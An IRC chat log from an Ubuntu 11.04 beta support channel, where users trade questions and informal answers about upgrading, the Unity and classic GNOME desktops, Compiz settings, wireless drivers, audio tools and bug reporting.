[05:51] <mns`> how did you installed natty? upgrade or from a new install?
[05:54] <mns`> unityproblem: how did you installed natty? upgrade or from a new install?
[05:58] <unityproblem> ok.
[05:58] <mns`> unityproblem: how did you installed natty? upgrade or from a new install?
[05:58] <unityproblem> upgrade.
[05:58] <bandit-away> you can install natty with upgrade or full install from cd
[05:59] <mns`> unityproblem: maybe you should try a new fully install with beta2 direct
[05:59] <unityproblem> i upgraded frm 10.10..
[05:59] <unityproblem> or wait for final release?
[05:59] <mns`> unityproblem: maybe something went wrong or missing with your upgrade.
[05:59] <bandit63> i hosed my install with a upgrade from 10.10 and then had to install fresh with a 11.04 cd
[06:00] <mns`> unityproblem: see
[06:00] <unityproblem> can i wait fr final release and then upgrade?
[06:00] <mns`> unityproblem: or wait for the release or do a fresh install with beta2
[06:00] <bandit63> i have some where around 2500 packages installed with some extra kernels and such so i am not surprised it didnt upgrade properly
[06:01] <bandit63> my laptop upgraded just fine though
[06:01] <mns`> unityproblem: when we have the final release you won't have to upgrade =P
[06:01] <bandit63> unless we are waiting fro gnome 3 to be stable :D
[06:01] <bandit63> for'
[06:01] <ajin> hi, there
[06:01] <unityproblem> i will have to upgrade frm 11.04 beta to final release rite?
[06:02] <bin_bash> Yes, hello.
[06:02] <mns`> right now unity is doing well here
[06:02] <ajin> hi, will "docky" this program make any sense under ubuntu11.04, since there will be unity launcher already?
[06:02] <mns`> no crash in the last two days
[06:02] <bandit63> unityproblem,  no it will keep upgrading itself untill final is out
[06:02] <unityproblem> ok.. thanks ! goodbye!
[06:03] <mns`> only the docky that don't auto hide anymore today
[06:03] <mns`> maybe a logout + login solve that
[06:03] <bandit63> you like unity interface mns` ?
[06:03] <bin_bash> Does anyone know how to change the window manager setup and view compiz in gnome?
[06:03] <mns`> bandit63: yes
[06:03] <bin_bash> oh, bandit63: I got it installed
[06:03] <Kyubey> Hey
[06:03] <Kyubey> I have a question
[06:03] <mns`> i'm using it half a month now
[06:03] <ajin> well, the unity laucher is somewhat another "docky"
[06:03] <bandit63> bin_bash,  nice did you have to use a cd or thumbdrive?
[06:04] <Kyubey> I just installed natty on my old laptop, running unity right now
[06:04] <Kyubey> How do I enable special effects? (windows jiggling and stuff)
[06:04] <bandit63> dunno i am running classic :O
[06:04] <Kyubey> I knew how to do it with 10.10, but I'll be damned if I can find it in here
[06:04] <ajin> hello?
[06:05] <ajin> i'm consusing about whether the "docky" existence would make any sense in future ubuntu versition?
[06:06] <bandit63> Kyubey, have you installed the Compiz configuration settings manager ?
[06:06] <Kyubey> bandit, no I have not. Do I have to for 11.04? In the last version it was already in the default stuff
[06:07] <bin_bash> bandit63: how do i enable fx and customize compiz in "classic"?
[06:07] <ajin> anybody answer my quesion?
[06:07] <bandit63> Kyubey, i dont know i would check it and see or try simple-ccsm
[06:07] <bandit63> Kyubey, what i just wrote would apply to you as well
[06:07] <ajin> no one knows?
[06:08] <bandit63> look for  simple-ccsm  or compizconfig-settings-manager
[06:08] <bandit63> ajin,  i would not think that docky would be useful with unity
[06:08] <Kyubey> Bah!
[06:08] <Kyubey> Apparently you cant have both snapping windows and wobbly windows
[06:08] <bandit63> Kyubey, there is no hacks for that
[06:08] <ajin> bandit63: yeah, me too
[06:09] <Kyubey> I'll stick to snapping windows I guess, oh well
[06:09] <bandit63> ajin, i use the classic so docky works well there
[06:09] <Kyubey> But now I know ^^
[06:09]  * genii-around sips and thinks about wobblysnaps
[06:09] <Kyubey> I dont know why you'd need docky if you have unity already
[06:09] <Kyubey> it pretty much provides a dock for you
[06:09] <bandit63> thats what he was saying
[06:09] <ajin> but that's would be a totally waste, since the docky works so well till now
[06:10] <bandit63> some of use are not so keen on unity
[06:10] <ajin> the developers work on "docky" would be in vain
[06:10] <bandit63> docky is not just for ubuntu thought ajin
[06:11] <bandit63> look at the bigger linux picture and there is still room for docky
[06:11] <Kyubey> oh, I love docky
[06:11] <Kyubey> I'll still use it for my debian VM
[06:12] <ajin> ok, thanks
[06:12] <bandit63> i ahve to many dock like bars installed and i never use them
[06:12] <bandit63> have'
[06:12] <ajin> i love docky too
[06:13] <Kyubey> I have to say, it'll take some time for me to get used to unity
[06:13] <bandit63> any one have any suggestions on why plymouth is not working for me?
[06:13] <Kyubey> I wish I could put the dock on the bottom though
[06:14] <bandit63> Kyubey, i used it for 5 min then went back to classic
[06:14] <Kyubey> didnt like it?
[06:14] <bandit63> nope but i am wierd like that
[06:14] <Kyubey> I can see that when I DO get used to it, it'll up my productivity
[06:15] <bandit63> i dont like  windows 7 because there is no classic start menu
[06:15] <Kyubey> ah
[06:15] <Kyubey> Well, everyone has their own preferences ^^
[06:15] <bandit63> yes thats what i like about linux you can change what you dont like
[06:15] <ajin> windows is a disaster, full of problems
[06:16] <bandit63> just wish i could get my issues with plymouth sorted out
[06:16] <hardcold> I've got a realtek rtl8188ce and can't connect to password protected networks, but can open one (11.04 beta 2)
[06:16] <Kyubey> god damn it google, I DO mean expo, and not expose
[06:16] <bandit63> lol Kyubey
[06:20] <bandit63> hardcold, have you installed the drivers from realtek?
[06:22] <kazagistar> I have been watching the loading dots on my virtual machine for 10 min... I gave it two 3.2GHz cores and 2G of memory... is it just a little slow on the livecd?
[06:23] <Kyubey> Awesome - This old laptop (about 2 years) has a "acer e-settings button" in the corner
[06:23] <Kyubey> I set it so when I press it, it zooms out to show all of the open windows at once
[06:23] <bin_bash> can anyone tell me how to setup workspaces in classic mode?
[06:24] <Kyubey> goodnight!
[06:24] <kazagistar> Kyubey: yeah, gotta love binding random buttons for fun and profit
[06:24] <kazagistar> :(
[06:25] <bandit63> bin_bash, right click on the top bar choose add to panel
[06:25] <bandit63> scroll to end of list and click on workspace switcher
[06:25] <bin_bash> thanks dude
[06:26] <bandit63> when its add to your bar right click and choose prefrences
[06:26] <bin_bash> bandit63: can you tell me the proper syntax for syncing from an external to my home folder?
[06:26] <bandit63> external drive?
[06:26] <bin_bash> yeah
[06:26] <hardcold> bandit63, no just used what came with Natty as it's listed as working fine
[06:27] <bandit63> i just always copy and paste not sure if thats the correct way or not but it works for me
[06:27] <bin_bash> hmm
[06:27] <bandit63> hardcold, whats it not doing for you?
[06:27] <hardcold> bin_bash: so the cd/usb combo worked?
[06:28] <hardcold> bandit63: it won't connect to a password protected network
[06:28] <bandit63> but it connects to regular no pass network?
[06:28] <hardcold> bandit63: yes
[06:28] <bin_bash> hardcold: yeah
[06:29] <bandit63> dunno some people have posted about that wireless card there is a ppa they say i dont know about it thought all i have are intel wireless
[06:29] <bandit63> http://ubuntuforums.org/archive/index.php/t-1641931.html
[06:30] <bandit63> and http://ubuntuforums.org/showthread.php?t=1604101&page=4
[06:31] <bin_bash> I know in 10.04 there was a way to show all windows open and set a lkeyboard shortcut
[06:31] <bin_bash> can i do that in 11.04?
[06:31] <bandit63> hardcold, and this one has a walk through http://www.meabi.com/ubuntu-netbook-wireless-problem-solved-for-dell-mini/
[06:32] <bandit63> bin_bash,  alt+tab does not work or you mean a compiz one?
[06:32] <bin_bash> bandit63: alt-tab switches between windows
[06:32] <bandit63> on mine it shows a box with all the icons and lets me choose the one i want
[06:33] <bin_bash> nope
[06:33] <bandit63> again i would install compizconfig-settings-manager and run it from system>prefrences
[06:34] <bin_bash> ok
[06:34] <hardcold> bandit: the issue is odd because I can not find anyone else with this
[06:34] <bandit63> hardcold, all those sites i pasted where having similar issues
[06:34] <bin_bash> i want to apt-get alsamixer
[06:34] <bin_bash> but it said there were no packages?
[06:35] <hardcold> bandit: they were having issue with getting the wireless working at all, and prior to beta 1/2
[06:35] <hardcold> no one posted (aside from me) having and issue where I can connect to open but not closed network
[06:35] <bandit63> bin_bash,  you sure you dont mean alsamixergui
[06:36] <bandit63> hardcold, oh i see what you mean
[06:36] <bin_bash> thank you
[06:36] <bandit63> hardcold, i would still think that using the drivers from realtek or from the ppa would fix it
[06:36] <bandit63> dunno though i have been wrong many time before
[06:36] <hardcold> it's already bundled in natty
[06:37] <hardcold> you think getting a different driver would help?
[06:37] <hardcold> I'm tempted to just wait
[06:37] <hardcold> so far the issues I've had have been fixed the next day with the updates
[06:38] <bandit63> hardcold, if you can get by why not wait let me look at a couple other things
[06:38] <hardcold> I was hoping it was some setting in the OS I needed to change
[06:39] <hardcold> I have my network open now (how I am connected) but really don't like doing that
[06:39] <bandit63> no i wouldnt like that either
[06:39] <hardcold> I changed the SSID to "virus trove"
[06:40] <hardcold> I need to try other networks
[06:40] <hardcold> it's possible there is some specific issue it has with my network
[06:40] <bin_bash> bandit63: what's the command to list the mounted drives
[06:41] <bandit63> mount
[06:41] <bandit63> or df -f
[06:41] <bandit63> just df will as well
[06:42] <hardcold> It's cool learning the command line
[06:42] <hardcold> should make me a better OSX user as well as expanding my job skills
[06:43] <bin_bash> hmmmmm rsync does not want to work
[06:43] <bandit63> hardcold, what kernel are you running?
[06:44] <hardcold> 2.6.38-8-generic
[06:44] <hardcold> bandit63: 2.6.38-8-generic
[06:44] <bandit63> hmmm
[06:44] <bin_bash> lolnm i wasn't being casesensitive
[06:45] <jamil_1_> Hello ppl, I am having trouble with mouse. Left click some times acts as click-and-drag (shows a hand icon). any suggestions ?
[06:46] <hardcold> bin_bash: given the laundry list of issues with that hardware and ubuntu at this point, it's going to be quite the hurdle to get everything working well
[06:47] <bin_bash> it's working like a charm except for the wireless :D
[06:47] <bin_bash> 40gigs is transferrin' right now
[06:47] <hardcold> bin_hash: yeah, wirless, wadda ya know..
[06:47] <bin_bash> i might have to build my own kernel
[06:49] <bandit63> hardcold, do you have linux-firmware installed?
[06:49] <hardcold> I'm tempted to make a live SD and see if I can connect to protected networks
[06:49] <hardcold> bandit63: I don't know what you mean--2nd day linus user
[06:49] <hardcold> googling now
[06:50] <bandit63> oh ok if you open a package manager and serach for linux-firmware
[06:50] <bandit63> or from terminal sudo apt-get install linux-firmware
[06:52] <hardcold> bandit63: says, "linux-firmware is already the newest version."
[06:53] <bandit63> ok was worth a shot
[06:53] <hardcold> thanks
[06:53] <bin_bash> bandit63: how can i turn surround sound on in alsamixer via the terminal?
[06:54] <hardcold> I think the best thing I can do is try a live SD  and go from there
[06:54] <bandit63> ok i would try the driver ppa some time or from the livecd and see what happens
[06:54] <hardcold> time for sleep, good night all. Glad the cd/usb combo worked bin_hash
[06:54] <bandit63> night night hardcold
[06:54] <bin_bash> night hardcold
[06:55] <bin_bash> have a good night
[06:55] <bandit63> bin_bash, i dont have a clue how to do that
[06:56] <bin_bash> hmmmm
[06:56] <bin_bash> the alsagui is horrible
[06:56] <bin_bash> with no features
[06:56] <bandit63> i can look it up though
[06:57] <bandit63> bin_bash,  to get the alsamixer installed
[06:57] <bandit63> install the package alsa-utils
[06:57] <bin_bash> AH!that's what i was looking for!
[06:57] <bin_bash> thank you
[06:57] <bandit63> no problem
[06:58] <bandit63> to test it then run     speaker-test -Dplug:surround51 -c6 -twav
[07:00] <bin_bash> thanks broski
[07:00] <bin_bash> all i need now is to get the wireless working
[07:00] <bandit63> this on the macbook?
[07:00] <bin_bash> yep
[07:01] <bandit63> according to the ubuntu site wireless wont work
[07:01] <bandit63> https://help.ubuntu.com/community/MacBookPro8-1/Natty
[07:01] <bin_bash> i know
[07:01] <bin_bash> i kno i kno
[07:01] <bin_bash> but i'm hoping to try and play with it tomorrow
[07:01] <bandit63> you can alaways buy a usb wireless card
[07:01] <bin_bash> and worst case scenario build my own kernel
[07:01] <bin_bash> right now i'm using my phone
[07:02] <bandit63> no ethernet?
[07:02] <bin_bash> nope
[07:03] <bandit63> if the ubuntu site says wireless wont work then compiling a kernel wont fix it
[07:03] <bin_bash> the wireless driver is built into a kernel
[07:03] <bin_bash> brb
[07:03] <bandit63> not for that macbook
[07:03] <bin_bash> restarting this gnome sesh
[07:03] <bin_bash> brb
[07:04] <bandit63> should i logout before he returns?
[07:09] <bhavesh> which is the best "Graphical Interface Design" app to make ubuntu softwares like Visual studio in windows ?
[07:10] <Jerub> Public Service Announcement: To move icons in unity, click with the LEFT mouse button and drag AWAY from the bar, then you can move it up or down in the bar. Dragging it 'up' or 'down' first will not work.
[07:11] <Jerub> Announcement Ends.
[07:14] <bin_bash> Skype for natty? yes or no
[07:14] <torchie> skype works on my natty
[07:14] <torchie> though video calls I don't know
[07:14] <bin_bash> what version did you DL?
[07:14] <torchie> I use it for group IM
[07:14] <torchie> I have the new beta
[07:15] <bin_bash> 2.2?
[07:15] <torchie> yeah
[07:15] <bin_bash> hm ok
[07:16] <bin_bash> which version?
[07:16] <torchie> 2.2.0.25
[07:30] <bandit63> bin_bash,  you there?
[07:30] <bin_bash> yep
[07:30] <bandit63> if so hope everything goes well
[07:30] <bandit63> i am off to bed
[07:30] <bin_bash> yeah thanks
[07:30] <bin_bash> night dude thanks for the helo uy
[07:30] <bin_bash> help today*
[07:30] <bandit63> no problem
[07:30] <bandit63> :)
[07:30] <bin_bash> :) sleep well
[07:48] <BajK> nice, so with raster qt rendering backend, KDE is like 3 times faster and LibreOffice fortunately works with it (openoffice did not)
[07:51] <bin_bash> lolde
[07:51] <bin_bash> why kde?
[07:52] <Jerub> why not? it's an excellent desktop environment.
[07:52] <Jerub> i don't use it personally because i found some problems with changing monitor geometries, which is a class of problems that every desktop environment has to some degree, but meant that it was impractical to use kde.
[07:53] <bin_bash> meh it's clunky. did you install it on top on gnome and on top of unity?
[07:53] <Jerub> i don't understand that question. it doesn't seem to make logical sense.
[07:53] <Jerub> its start menu, for instance, is worlds better than unity's launcher. it's what unity might achieve when it grows up.
[07:54]  * KevinDivide just installed Natty beta 2 on his own machine and a friend's!
[07:54] <bin_bash> yeah unity is horrible
[07:54] <Jerub> as for what i 'installed it on top of' i don't understand. i can quite adequately log into it from the login screen as well as unity and gnome2, it's not on top of them, it's side-by-side.
[08:10] <jamil_1> Hello, It seems that applications do not get focus. I have to keep pressing alt key to perform in-application tasks like swtiching tabs in firefox. suggestions to get proper focus ?
[08:11] <bin_bash> unity or gnome
[08:12] <jamil_1> unity I think
[08:13] <bin_bash> sudo apt-get install compizconfig-settings-manager
[08:16] <unityproblem> i am nt able to update to beta 2 frm update manager ..anyone can help?.
[08:17] <bin_bash> no sorry
[08:17] <unityproblem> ?
[08:17] <rwhittle> crimsuntide
[08:17] <unityproblem> anybody here to help?
[08:18] <jamil_1> just installed the compizconfig-settings-manager...what to do with it ?
[08:19] <bin_bash> jamil_1:  load it in system preferences and play with it
[08:20] <BajK> natty has wayland in its repos but when installing it says libmesa broken dependency or something
[08:20] <BajK> it needs libmesa-devel >= 1.12 (or so) but 1.12 is installed as well
[08:20] <BajK> or libcairo or something
[08:22] <unityproblem> i am nt able to update to beta 2 frm update manager ..anyone can help?
[08:22] <BajK> dont think youre supposed to upgrade to a beta?
[08:22] <BajK> dont know though
[08:23] <unityproblem> i am using beta 1..
[08:23] <BajK> and within, also not :P
[08:23] <BajK> use apt-get dist-upgrade
[08:23] <unityproblem> but not that beta 2 is avaliable its nt showing on update manager'
[08:24] <th^^> unityproblem: it doesn't show up there, if you've just installed updates from update manager, you are using "beta2"
[08:25] <unityproblem> ok.. its says in the terminal that  0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
[08:25] <th^^> unityproblem: and keep updating, you'll end up to final release. betas don't have their own repositorys, 'natty' repo will end up being final later this month
[08:25] <unityproblem> aand i cant see the unity desktop when i boot..
[08:25] <rwhittle> n #fedora
[08:26] <th^^> unityproblem: select 'Ubuntu' as session from login screen
[08:26] <unityproblem> i just see a blank screen
[08:26] <unityproblem> yes i did that ..
[08:26] <th^^> if it doesn't work, then you most likely don't have working 3D acceleration :)
[08:27] <BajK> and they always dont understand why I think the dicision of requiring 3d acceleration is the worst ever made
[08:27] <BajK> (beside the one that ubuntu runs on Gnome instead of KDE :P)
[08:27] <BajK> is this bug fixed that natty kernel panics on many startups? the bug with the payload thing
[08:28] <unityproblem> how do i check that the 3d accelaration is working?
[08:29] <unityproblem> i see no unity desktop..
[08:29] <unityproblem> when i boot up i see just my wallpaper
[08:46] <topyli> um, is google calendar -> akonadi -> korganizer supposed to work?
[08:47] <tasslehoff> anyone here running on a macbook pro? I'm considering upgrading to 11.04 beta, but thought I'd check if something definitely will break :)
[08:54] <afghan> when you press logo+tap and jump to another windows
[08:54] <afghan> the windows thumbnails are not hovered
[08:54] <afghan> is it a bug ?
[08:54] <afghan> and where can i report it ?
[08:55] <afghan> I mean the thumbnail is not outlined ! :D
[08:56] <buff27> hi guys, just wondering if I have found a minor bug in Xubuntu 11.04 beta 2, If I open a text document in mousepad and right click copy something then close the document, it takes a few seconds to close instead of just closing. Could anyone confirm this bug or tell me where to report if necessary?
[09:02] <jamil_1> hello, I am still unable to solve the focus problem in unity....
[09:13] <mar> Hello. I'm having problems with multi-monitor setup with newest beta. External screen flickers on lenovo T410 and etc... Is it something I need to do after upgrade before I report a bug?
[09:13] <mar> I did upgrade from 10.10
[09:19] <kwtmm> i must to toilette, do an good excretion or metabolite
[09:20] <kwtmm> !spam
[09:20] <topyli> tmi
[09:22] <gnomefreak> mar: is the problem in classic desktop as well as unity?
[09:22] <gnomefreak> and yes i agree with topyli way too much info
[09:23] <mar> looks like I found the issue https://bugs.launchpad.net/ubuntu/+source/xserver-xorg-video-intel/+bug/750259
[09:28] <[diablo]> morning #ubuntu+1 .... I have installed beta2, however I really would like to have a normal gnome2 style desktop. Can this be done please? I am finding Unity not to my taste sadly
[09:29] <gnomefreak> When installing the i386 version on systems with more than 4 GB of memory the PAE kernel variant gets installed, which removes the NVidia and other installed proprietary drivers. (759804)    :(
[09:30] <gnomefreak> [diablo]: in the login screen type user name than look at bottom it will have a choice selected that says ubuntu desktop edition(or just ubuntu) croll tyhe list and look for classic desktop edition, that is what you want
[09:31] <gnomefreak> s/croll/scroll
[09:31] <gnomefreak> that will bring you back to the 2 panel gnome with compiz but that can also be disabled if you choose so
[09:31] <[diablo]> ah ok thank you
[09:32] <gnomefreak> np
[09:32] <[diablo]> gnomefreak, was sort of shocked a little by Unity...
[09:33] <gnomefreak> [diablo]: it happens. i was using gnome-shell for a while before natty was even thought of
[09:33] <gnomefreak> it is very similar to gnome+unity
[09:34] <mar> is there any workaround for hamster + unity?
[09:34] <[diablo]> well, I find things like Chrome having 6 x buttons etc annoying
[09:34] <kwtmm> i must to toilette, do an good excretion or metabolite
[09:36]  * gnomefreak never heard of hamster and either has Ubuntu archives unless it has a different name
[09:37] <gnomefreak> ok need a smoke again, i hate first thing in morning, maybe ill go lay down after smoke. later guys
[09:37] <[diablo]> :)
[09:37] <[diablo]> later gnomefreak
[09:43] <kwtmm> hello
[09:44] <kwtmm> do you think i can chose in 11.10 gnome instead unity too
[10:06] <mhaz> is it shit or just me?
[10:14] <mhaz> i take it as a yes
[10:34] <NickUK> I've recently upgrade to 11.04 from 10.04 with no wireless issues in 10.04 or 10.10 while upgrading, however in 11.04 my Wireless isn't working. I've managed to get most of it working but when I goto install firmware-b43-lpphy-installer it gives mee an error code.
[10:38] <nijabo> NickUK what problem is there?
[10:39] <nijabo> Ah, I had a problem with 11.04, I could not find my Wireless network, no matter what I tried. Installed 10.10 again and found it without a hitch.
[10:39] <NickUK> It gives me
[10:39] <NickUK> Aborting
[10:39] <NickUK> dpkg : error processing firmware-b43-lpphy-installer (--configure):
[10:39] <NickUK> subprocess installed post-installation script returned error exit status 1
[10:39] <NickUK> Errors were encountered while processing firmware-b43-lpphy-installer
[10:40] <NickUK> E: Sub-process /usr/bin/dpkg returned an error code (1)
[10:47] <BajK> was apt changed in natty? normally it downloaded everything, unpacked everything and set everything up. Now in Natty I think it downloads, unpacks and sets up every package individually
[10:48] <eagles0513875> for some reason gcc g++ and make werent installed by default O_o just had to reinstall them manually
[11:02] <yuskhanzab> helo
[11:02] <yuskhanzab> anyone here
[11:03] <yuskhanzab> anyone here?
[11:03] <yuskhanzab> wanna ask about the natty beta 2 release
[11:04] <yuskhanzab> have anyone try here?
[11:05] <karmelek> hi, is there any fix for broken shutdown?
[11:05] <yuskhanzab> hi karmelek
[11:05] <yuskhanzab> can i ask u about the naty beta 2 release
[11:05] <karmelek> i cant reboot my lenovo laptop, even shutdown is broken
[11:07] <karmelek> yuskhanzab: ?
[11:07] <yuskhanzab> have u try the beta2 release?
[11:07] <yuskhanzab> how is it running?
[11:08] <coz_> yuskhanzab,  I am on that right now
[11:08] <yuskhanzab> i wanna have a try too, but im confius..
[11:08] <coz_> yuskhanzab,  for me it freezes when making nearly any settings change.. randomly,, several applications dont work  ie   easystroke and cairo dock because no settings can be changed
[11:08] <yuskhanzab> should i wait the normal release?
[11:09] <coz_> yuskhanzab,  well... if you want to report bugs  then use it now
[11:09] <coz_> yuskhanzab,  if you want it to work properly .. wait
[11:09] <karmelek> yuskhanzab: i have problems with shutdown, classic gnome sometimses tend to be a bit unstable
[11:09] <yuskhanzab> owh, if there still have bug, then i should wait for the normal releas
[11:10] <yuskhanzab> :)
[11:10] <coz_> yuskhanzab,   yeah there are definitly bugs  :)
[11:10] <hutch> I'm not having any problems so far. Touch wood
[11:10] <karmelek> for me it is much faster then 10.10
[11:10] <yuskhanzab> actually im new to ubuntu, but i love to learn about it.
[11:11] <karmelek> yuskhanzab: beta is a good place for learning :D
[11:11] <hutch> yuskhanzab, in a 6 month release cycle like ubuntu you will always have bugs with a beta version and early stable versions
[11:11] <karmelek> when will be RC released?
[11:12] <coz_> karmelek,  I dont think there is going to be one but let me check the schedule
[11:12] <yuskhanzab> even in normal release i have many prob before..
[11:12] <Hemebond> I'm using 11.04b2 and after closing Firefox Nightly with Flash, which was using almost 2GiB of RAM, not all the memory was released. 1.2GiB was still being used but the runnning processes don't add up to that.
[11:12] <hutch> Don't let it frighten you come here regularly and get help and learn as karmelek says
[11:12] <Hemebond> How can I see what is actually using all that memory?
[11:12] <coz_> karmelek,    https://wiki.ubuntu.com/NattyReleaseSchedule
[11:13] <karmelek> coz_: i have checked but i see only Release image build
[11:13] <coz_> karmelek,  right no RC  release,,  just the release image build
[11:13] <coz_> karmelek,  so now its  "RIB"  lol
[11:14] <hutch> yuskhanzab, on the top bar is a great help section for 11.04
[11:14] <karmelek> no t good :P
[11:16] <hutch> It helped me find all those windows I minimised and couldn't find lol (alt + tab)
[11:18] <rye> Hemebond, how did you detect memory usage?
[11:18] <Hemebond> I'm looking at System Monitor.
[11:18] <Hemebond> I've been watching it since I had to reboot after excessive swapping made the computer unusable.
[11:20] <rye> Hemebond, can you sort the processes by memory usage and see which is the biggest item?
[11:21] <Hemebond> The biggest is currently firefox-bin (a new process since closing the first).
[11:21] <Hemebond> Using about 260MiB.
[11:27] <Hemebond> It's almost like that X11 (pixmap) memory leak wasn't actually fixed.
[11:27] <karmelek> does anybody know, where gnome stores display config on home?
[11:32] <rye> Hemebond, are you talking about gl/cairo/wayland-related issue or there is something else (I haven't followed this recently) ?
[11:33] <Hemebond> There was a problem (supposedly fixed in 10.04) where closing an application didn't release the video memory associated with it. Eventually all memory is used up and the system needs to be rebooted.
[11:47] <Hemebond> I might try running Blackbox to make sure it isn't Gnome.
[11:50] <Hemebond> Doh.
[11:50] <Hemebond> There's nothing in the Blackbox menu.
[11:51] <Hemebond> I didn't realise they had gotten so minimal.
[11:56] <rye> karmelek, try .config/monitors.xml
[12:10] <Ubuntulover> hi
[12:10] <Ubuntulover> may can i help you
[12:10] <Ubuntulover> can i help you
[12:14] <rooks-live> how to report usability bugs?
[12:22] <UbuntuFanatic> Hello.
[12:22] <UbuntuFanatic> I need some help,
[12:22] <UbuntuFanatic> ubuntuone-syncd is using a lot of CPU/Memory
[12:22] <UbuntuFanatic> and I do not use the application.
[12:23] <UbuntuFanatic> I'm on natty at the moment, but it happened when running Maverick too.
[12:24] <SandStar> If I install 11.04-beta2, can I update to the final version relatively easy?
[12:24] <UbuntuFanatic> Yes.
[12:25] <SandStar> thanks :)
[12:25] <UbuntuFanatic> Np. :)
[12:30] <rooks-live> ok. I dont have time to go through all hoops in the bug reporting process so ill just dump them here, hope someone will take care of them: serious bug: xchat-gnome does not appear as running under launcher
[12:30] <UbuntuFanatic> what do you mean?
[12:30] <rooks-live> after putting it into launcher and launching it, that arrow on left of icon is not appearing, so when clicked again it starts another instance of xchat-gnomt
[12:30] <rooks-live> e
[12:31] <UbuntuFanatic> Unity, yes?
[12:31] <rooks-live> yes
[12:31] <UbuntuFanatic> ah, sorry. I'm not using Unity.
[12:31] <UbuntuFanatic> We don't all use Unity on natty. :P
[12:31] <rooks-live> duh...
[12:32] <rooks-live> can you guys then make a selection during install to either use new gui or normal one where everything works? :P
[12:32] <UbuntuFanatic> As in GNOME? :P
[12:32] <rooks-live> exactly
[12:32] <UbuntuFanatic> You can switch to gnome, you know?
[12:32] <UbuntuFanatic> (I don't know if you are aware, not being patronising.)
[12:33] <rooks-live> i know, but im a power user, and you guys seem to be about more mainstream users
[12:34] <rooks-live> USABILITY BUG unity: no easy placment of launcher on side of the screen that i want it to be
[12:35] <UbuntuFanatic> rooks-live, as am I.
[12:35] <UbuntuFanatic> I don't see what the bug is..?
[12:35] <UbuntuFanatic> I think I may just be being thick,
[12:35] <UbuntuFanatic> explain. D:
[12:36] <rooks-live> i cant move it to the right edge of the screen, or to the bottom
[12:36] <coz_> rooks-live,   no I dont think the launcher is moveable
[12:37] <coz_> it can be hidden
[12:37] <rooks-live> USABILITY BUG unity: right click on launcher does noting in particular to be able to configure its size
[12:37] <popey> rooks-live: if you have bugs you're better off filing them in launchpad
[12:38] <rooks-live> USABILITY BUG unity: right click on icon can have potential to pop up old menu of Applications Places System
[12:38] <UbuntuFanatic> This just sounds like moans about the thing..
[12:38] <UbuntuFanatic> Not actually "bugs"
[12:38] <popey> well, they are observations
[12:38] <UbuntuFanatic> *about unity
[12:38] <UbuntuFanatic> They aren't bugs, rooks-live.
[12:38] <rooks-live> well.. unity does not do what i like it to do, so yes, you can call it features :P
[12:38] <popey> you can configure the launcher size in compizconfig-settings-manager
[12:38] <UbuntuFanatic> :P
[12:38] <Pici> Wishlist
[12:39] <hilmi> hi all. I installed natty beta2. before that I used 10.10 with 2.6.32 kernel since the default kernel didn't support my hardware. now I tried to do the same, installed old kernel, but the boot menu is different now. But it doesn't boot now. What can I do? I don't want to use linux without acpi support?
[12:41] <rooks-live> in short unity is not as elastic as normal gnome desktop. I cant place my favorite dockapps to monitor load, or other stuff.. it just sucks. sure i see itss potential for touchscreens based hardware, but for regular desktop it just too little too soon :P
[12:41] <coz_> rooks-live,  well remember that Unity is designed for netbooks only,, small screens,, which is why classic gnome is offered in sessions
[12:42] <popey> uh
[12:42] <popey> no it isnt
[12:42] <UbuntuFanatic> It's your *opinion*.
[12:42] <UbuntuFanatic> and Unity was originally for netbooks.
[12:42] <popey> unity is not designed "for netbooks only"
[12:42] <rooks-live> yeah. thsts the point that you guys forced it on desktops...
[12:42] <UbuntuFanatic> It's not forced..
[12:43] <coz_> rooks-live,  it defaults to Unity if the video drivers are installed ,, yes,, but you do have the option for classic gnome,, I am not totally disagreeing with you by the way
[12:43] <rooks-live> can you select which one you want to install during installation/upgrade stage?
[12:43] <popey> the good news is that if you don't like it, you can simply logon to a classic gnome session instead
[12:43] <coz_> rooks-live,  simply log off  and choose  classic in sessions
[12:43] <popey> rooks-live: during upgrade you get both
[12:43] <UbuntuFanatic> rooks-live, submit the idea in Launchpad for the installer (name which I forgot)
[12:43] <coz_> rooks-live,  it will always boot to classic until you change it
[12:43] <UbuntuFanatic> :3
[12:44] <rooks-live> UbuntuFanatic, no, you submit, i forgot my passwd for launchpad and im now on live, and cbf to make another acct...
[12:44] <popey> there is a password reset feature on launchpad
[12:44] <rooks-live> i dont have mail on my live acct
[12:44] <UbuntuFanatic> rooks-live, then you can't complain..
[12:44] <rooks-live> i can.
[12:44] <popey> rooks-live: excuses..
[12:44] <UbuntuFanatic> We've got the interface there.
[12:44] <coz_> rooks-live,  well as I said ,, the whole idea behind unity is netbook,, people are using it on desktops  but global menu  makes that a waisteful install
[12:45] <UbuntuFanatic> You are just neglecting to use it.
[12:45] <UbuntuFanatic> We couldn't make it easier, really.
[12:45] <coz_> rooks-live,   global menu.. like apple's menuing system was origianlly designed for small screens
[12:45] <UbuntuFanatic> and if you "cb*", then stop complaining? :P
[12:45] <coz_> not sure if global menu had th at in mind when developing it but apple's menuing system was
[12:46] <rooks-live> UbuntuFanatic, you could by equipping all BETAs with some auto ran bug repport app that is bug repport tool :)
[12:46] <UbuntuFanatic> ...
[12:46] <UbuntuFanatic> ...that uses launchpad.
[12:46] <coz_> global menu on screens larger than 15"  slows work considerably,, so if you are on a larger screen,, use classic
[12:46] <UbuntuFanatic> Apport much?
[12:46] <rooks-live> brb, gotta see how classic will work
[12:46] <UbuntuFanatic> coz_, I agree.
[12:47] <rooks-live> how to login into classic on live?
[12:47] <UbuntuFanatic> Live?
[12:47] <coz_> rooks-live,  ooo not sure about that
[12:47] <rooks-live> livecd/pendrive
[12:47] <UbuntuFanatic> Oh.
[12:47] <UbuntuFanatic> terminal much?
[12:47] <UbuntuFanatic> gnome-shell
[12:47] <UbuntuFanatic> I think.
[12:47] <coz_> rooks-live,  try logging off
[12:47] <rooks-live> k, will check
[12:48] <rooks-live> theres no logging off
[12:48] <abrotmann> is 11.04 very stable ???
[12:48] <UbuntuFanatic> Not really.
[12:48] <UbuntuFanatic> Kind of.
[12:48] <coz_> abrotmann,  no not at this moment
[12:48] <abrotmann> can i use 11.04
[12:48] <Pici> Works for me.
[12:48] <UbuntuFanatic> If you want.
[12:48] <abrotmann> or better older
[12:48] <abrotmann>  
[12:48] <popey> define "stable"
[12:48] <abrotmann> is need stable productive
[12:48] <UbuntuFanatic> #ubuntu
[12:48] <rooks-live> abrotmann, id stick with 10.10
[12:48] <UbuntuFanatic> Get 10.10
[12:48] <abrotmann> ok
